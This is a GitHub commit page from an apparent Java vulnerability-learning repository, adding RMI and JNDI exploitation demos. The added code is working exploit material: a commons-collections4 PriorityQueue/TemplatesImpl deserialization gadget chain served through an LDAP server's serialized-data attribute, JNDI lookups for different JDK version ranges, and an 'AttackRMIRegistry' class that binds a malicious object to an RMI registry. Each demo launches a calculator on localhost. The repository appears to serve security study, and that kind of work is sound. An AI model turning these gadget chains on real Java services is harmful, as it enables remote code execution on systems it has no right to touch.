Skip to content

Commit 272d1b4

Browse files
author
threedr3am
committed
feat:增加rmi相关利用demo
1 parent 2fa37e0 commit 272d1b4

File tree

14 files changed

+481
-4
lines changed

14 files changed

+481
-4
lines changed

README.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,4 +29,7 @@ paclage:com.threedr3am.bug.xxe
2929
package:com.threedr3am.bug.collections
3030

3131
### security-anager
32-
package:com.threedr3am.bug.security.manager
32+
package:com.threedr3am.bug.security.manager
33+
34+
### rmi
35+
package:com.threedr3am.bug.rmi

common/src/main/java/com/threedr3am/bug/common/server/LdapServer.java

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,9 +9,11 @@
99
import com.unboundid.ldap.sdk.LDAPException;
1010
import com.unboundid.ldap.sdk.LDAPResult;
1111
import com.unboundid.ldap.sdk.ResultCode;
12+
import com.unboundid.util.Base64;
1213
import java.net.InetAddress;
1314
import java.net.MalformedURLException;
1415
import java.net.URL;
16+
import java.text.ParseException;
1517
import javax.net.ServerSocketFactory;
1618
import javax.net.SocketFactory;
1719
import javax.net.ssl.SSLSocketFactory;
@@ -24,6 +26,7 @@
2426
public class LdapServer {
2527

2628
private static final String LDAP_BASE = "dc=example,dc=com";
29+
public static byte[] classData;
2730

2831
public static void main(String[] args) {
2932
run();
@@ -94,9 +97,15 @@ protected void sendResult(InMemoryInterceptedSearchResult result, String base, E
9497
if (refPos > 0) {
9598
cbstring = cbstring.substring(0, refPos);
9699
}
97-
e.addAttribute("javaCodeBase", cbstring);
98-
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
99-
e.addAttribute("javaFactory", this.codebase.getRef());
100+
if (classData == null) {
101+
//todo <= jdk8u191
102+
e.addAttribute("javaCodeBase", cbstring);
103+
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
104+
e.addAttribute("javaFactory", this.codebase.getRef());
105+
} else {
106+
//todo > jdk8u191
107+
e.addAttribute("javaSerializedData", classData);
108+
}
100109
result.sendSearchEntry(e);
101110
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
102111
}

pom.xml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
<module>security-manager</module>
1818
<module>xxe</module>
1919
<module>dubbo</module>
20+
<module>rmi</module>
2021
</modules>
2122

2223
<name>learn-java-bug</name>

rmi/pom.xml

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>learn-java-bug</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>rmi</artifactId>
13+
<packaging>pom</packaging>
14+
15+
<dependencies>
16+
<dependency>
17+
<groupId>com.xyh</groupId>
18+
<artifactId>common</artifactId>
19+
<version>1.0-SNAPSHOT</version>
20+
</dependency>
21+
22+
<dependency>
23+
<groupId>org.apache.commons</groupId>
24+
<artifactId>commons-collections4</artifactId>
25+
<version>4.0</version>
26+
</dependency>
27+
28+
<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
29+
<dependency>
30+
<groupId>org.javassist</groupId>
31+
<artifactId>javassist</artifactId>
32+
<version>3.25.0-GA</version>
33+
</dependency>
34+
</dependencies>
35+
</project>
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
package com.threedr3am.bug.rmi.client;
2+
3+
import com.threedr3am.bug.common.server.LdapServer;
4+
import com.threedr3am.bug.common.utils.Reflections;
5+
import com.threedr3am.bug.rmi.utils.Gadgets;
6+
import java.io.ByteArrayOutputStream;
7+
import java.io.ObjectOutputStream;
8+
import java.util.PriorityQueue;
9+
import javax.naming.InitialContext;
10+
import javax.naming.NamingException;
11+
import org.apache.commons.collections4.comparators.TransformingComparator;
12+
import org.apache.commons.collections4.functors.InvokerTransformer;
13+
14+
/**
15+
* 在jdk8u121版本后,jdk加入了rmi远程代码信任机制,除非设置环境变量com.sun.jndi.rmi.object.trustURLCodebase为true,否则不会加载远程代码
16+
*
17+
* @author threedr3am
18+
*/
19+
public class JndiLookupForGtJdk8u191 {
20+
21+
static {
22+
try {
23+
LdapServer.classData = makePayload(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
24+
} catch (Exception e) {
25+
e.printStackTrace();
26+
}
27+
LdapServer.run();
28+
}
29+
30+
public static void main(String[] args) {
31+
try {
32+
new InitialContext().lookup("ldap://127.0.0.1:43658/PriorityQueue");
33+
} catch (NamingException e) {
34+
e.printStackTrace();
35+
} catch (Exception e) {
36+
e.printStackTrace();
37+
}
38+
}
39+
40+
private static byte[] makePayload(String[] args) throws Exception {
41+
final Object templates = Gadgets.createTemplatesImpl(args[0]);
42+
// mock method name until armed
43+
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
44+
45+
// create queue with numbers and basic comparator
46+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
47+
// stub data for replacement later
48+
queue.add(1);
49+
queue.add(1);
50+
51+
// switch method called by comparator
52+
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
53+
54+
// switch contents of queue
55+
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
56+
queueArray[0] = templates;
57+
queueArray[1] = 1;
58+
59+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
60+
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
61+
objectOutputStream.writeObject(queue);
62+
objectOutputStream.close();
63+
return byteArrayOutputStream.toByteArray();
64+
65+
}
66+
}
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.threedr3am.bug.rmi.client;
2+
3+
import com.threedr3am.bug.common.server.LdapServer;
4+
import javax.naming.InitialContext;
5+
import javax.naming.NamingException;
6+
7+
/**
8+
* @author threedr3am
9+
*/
10+
public class JndiLookupForJdk8u121To191 {
11+
12+
static {
13+
LdapServer.run();
14+
}
15+
16+
public static void main(String[] args) {
17+
try {
18+
new InitialContext().lookup("ldap://127.0.0.1:43658/Calc");
19+
} catch (NamingException e) {
20+
e.printStackTrace();
21+
} catch (Exception e) {
22+
e.printStackTrace();
23+
}
24+
}
25+
}
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package com.threedr3am.bug.rmi.client;
2+
3+
import com.threedr3am.bug.common.server.RmiServer;
4+
import javax.naming.InitialContext;
5+
import javax.naming.NamingException;
6+
7+
/**
8+
* 在jdk8u121版本后,jdk加入了rmi远程代码信任机制,除非设置环境变量com.sun.jndi.rmi.object.trustURLCodebase为true,否则不会加载远程代码
9+
*
10+
* @author threedr3am
11+
*/
12+
public class JndiLookupForLeJdk8u121 {
13+
14+
static {
15+
RmiServer.run();
16+
}
17+
18+
public static void main(String[] args) {
19+
try {
20+
new InitialContext().lookup("rmi://127.0.0.1:43657/Calc");
21+
} catch (NamingException e) {
22+
e.printStackTrace();
23+
} catch (Exception e) {
24+
e.printStackTrace();
25+
}
26+
}
27+
}
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.threedr3am.bug.rmi.client;
2+
3+
import com.threedr3am.bug.rmi.server.service.HelloService;
4+
import java.rmi.NotBoundException;
5+
import java.rmi.RemoteException;
6+
import java.rmi.registry.LocateRegistry;
7+
import java.rmi.registry.Registry;
8+
9+
/**
10+
* @author threedr3am
11+
*/
12+
public class RMIClient {
13+
14+
public static void main(String[] args) {
15+
try {
16+
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
17+
HelloService helloService = (HelloService) registry.lookup("hello");
18+
System.out.println(helloService.sayHello());
19+
} catch (RemoteException e) {
20+
e.printStackTrace();
21+
} catch (NotBoundException e) {
22+
e.printStackTrace();
23+
}
24+
}
25+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
package com.threedr3am.bug.rmi.registry;
2+
3+
import com.threedr3am.bug.common.utils.Reflections;
4+
import com.threedr3am.bug.rmi.utils.Gadgets;
5+
import java.rmi.AlreadyBoundException;
6+
import java.rmi.Remote;
7+
import java.rmi.RemoteException;
8+
import java.rmi.registry.LocateRegistry;
9+
import java.rmi.registry.Registry;
10+
import java.util.PriorityQueue;
11+
import org.apache.commons.collections4.comparators.TransformingComparator;
12+
import org.apache.commons.collections4.functors.InvokerTransformer;
13+
14+
/**
15+
* RMI服务端攻击RMI Registry
16+
*
17+
* 需要服务端和注册中心都存在此依赖 org.apache.commons:commons-collections4:4.0
18+
*
19+
* @author threedr3am
20+
*/
21+
public class AttackRMIRegistry {
22+
23+
public static void main(String[] args) {
24+
try {
25+
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
26+
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("threedr3am", makePayload(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})), Remote.class);
27+
registry.bind("hello", remote);
28+
} catch (AlreadyBoundException | RemoteException e) {
29+
e.printStackTrace();
30+
} catch (Exception e) {
31+
e.printStackTrace();
32+
}
33+
}
34+
35+
private static Object makePayload(String[] args) throws Exception {
36+
final Object templates = Gadgets.createTemplatesImpl(args[0]);
37+
// mock method name until armed
38+
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
39+
40+
// create queue with numbers and basic comparator
41+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
42+
// stub data for replacement later
43+
queue.add(1);
44+
queue.add(1);
45+
46+
// switch method called by comparator
47+
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
48+
49+
// switch contents of queue
50+
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
51+
queueArray[0] = templates;
52+
queueArray[1] = 1;
53+
return queue;
54+
}
55+
}
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package com.threedr3am.bug.rmi.registry;
2+
3+
import java.rmi.RemoteException;
4+
import java.rmi.registry.LocateRegistry;
5+
import java.rmi.registry.Registry;
6+
7+
/**
8+
* @author threedr3am
9+
*/
10+
public class RMIRegistry {
11+
12+
public static void main(String[] args) throws RemoteException {
13+
Registry registry = LocateRegistry.createRegistry(1099);
14+
while (true);
15+
}
16+
}

0 commit comments

Comments
 (0)